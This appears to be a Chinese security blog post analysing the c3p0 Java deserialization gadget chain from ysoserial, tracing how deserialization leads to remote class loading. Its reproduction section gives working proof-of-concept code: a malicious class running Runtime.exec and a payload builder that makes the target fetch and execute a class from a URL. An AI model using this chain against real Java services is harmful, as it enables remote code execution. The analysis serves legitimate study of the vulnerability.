分析
首先是阅读神器ysoserial
是怎样调用c3p0
的
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/C3P0.java
1
2
3
| PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
|
创建了com.mchange.v2.c3p0.PoolBackedDataSource
,并把connectionPoolDataSource
属性设置为PoolSource
类
从代码中可以发现,connectionPoolDataSource
存在于PoolBackedDataSourceBase
中
于是分析该类是如何实现writeObject
和readObject
尝试将connectionPoolDataSource
属性转成byte数组,但是因为这个属性被赋值为PoolSource
类,而且PoolSource
没有继承Serializable
接口,所以会进入错误处理,调用箭头所指的函数
获取var1
的Reference
对象,经过ReferenceIndirector.ReferenceSerialized
包装后返回
因为用到了Referenceable
接口的函数,所以PoolSource
要同时实现ConnectionPoolDataSource
和Referenceable
writeObject
的操作就是这样,接下来看看readObject
因为PoolSource
经过了ReferenceIndirector.indirectForm
的处理,返回的类型是IndirectlySerialized
,所以会调用ReferenceIndirector.getObject()
。为什么不会进其他case,因为这里就一个case
继续跟进ReferenceableUtils.referenceToObject()
可以发现URLClassLoader
构造了一个从远程加载类的加载器,并且使用Class.forName
来利用这个加载器从远程加载这个类。并且参数var4
和var8
、var11
都是来自var0
,为ReferenceSerialized
中的this.reference
。这个reference
最初是由ReferenceIndirector.indirectForm
中,var1
调用getReference
获得,也就是说来自PoolSource
回到ysoserial的PoolSource
实现了恶意的getReference
,所以就能控制传进ReferenceableUtils.referenceToObject()
的参数var0
,也就是能够从远程地址加载恶意类了
复现
ysoserial
的构造方法有点高级,为了学习,我不用ysoserial
的构造payload的方法
首先编译一个恶意类,放到web目录下
1
2
3
4
5
6
7
8
9
| public class Exploit {
public Exploit(){
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
}
|
然后构造payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
| import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import com.mchange.v2.c3p0.PoolBackedDataSource;
public class Test {
public static void main(String []args) throws Exception {
PoolBackedDataSource p = new PoolBackedDataSource();
p.setConnectionPoolDataSource(new PoolSource("Exploit", "http://127.0.0.1:8080/"));
// serialize
FileOutputStream fos=new FileOutputStream("object");
ObjectOutputStream os=new ObjectOutputStream(fos);
os.writeObject(p);
os.close();
FileInputStream fis=new FileInputStream("object");
ObjectInputStream ois=new ObjectInputStream(fis);
// deserialize
String obj2=(String)ois.readObject();
System.out.println(obj2);
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
}
|
运行后就能执行calc
,弹出计算器
参考
https://blog.csdn.net/fnmsd/article/details/88959428
https://paper.seebug.org/312